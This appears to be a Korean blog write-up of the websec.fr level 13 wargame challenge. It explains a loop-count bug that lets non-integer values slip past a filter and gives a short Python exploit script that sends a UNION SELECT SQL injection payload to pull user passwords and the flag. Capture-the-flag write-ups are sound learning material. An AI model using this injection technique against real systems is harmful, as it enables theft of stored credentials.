        echo 
"</li>\n";
  }
    echo 
"</ul>";
    echo 
"</div>";
}
?>
            </div>
        </div>
    </body>
</html>


explode 후 배열 카운트를 초기 값으로 고정시켜 사용하지 않고 반복문 돌때마다 다시 구하고 있다. 이 때문에 unset 으로 배열 길이를 줄여놓으면 뒤쪽에 정수형이 아닌 값들이 반복문안으로 못들어와서 취약점이 터진다.


exploit.py

import requests


def getFlag(payload):

    url = "http://websec.fr/level13/index.php"

    params = {"ids":payload,"submit":"go"}

    result = requests.get(url,params=params).text

    start =  result.find("WEBSEC{")

    print result[start:]


payload = ",,,,)) union select 1,2,user_password from users--"

getFlag(payload)


'Wargame > websec.fr' 카테고리의 다른 글

websec.fr easy level 24  (0) 2019.08.22
websec.fr easy level 22  (0) 2019.08.22
websec.fr easy level20  (0) 2019.08.22
Websec.fr babysteps Level28  (0) 2018.12.13
Websec.fr babysteps level 25  (0) 2018.12.12
블로그 이미지

JeonYoungSin

메모 기록용 공간

,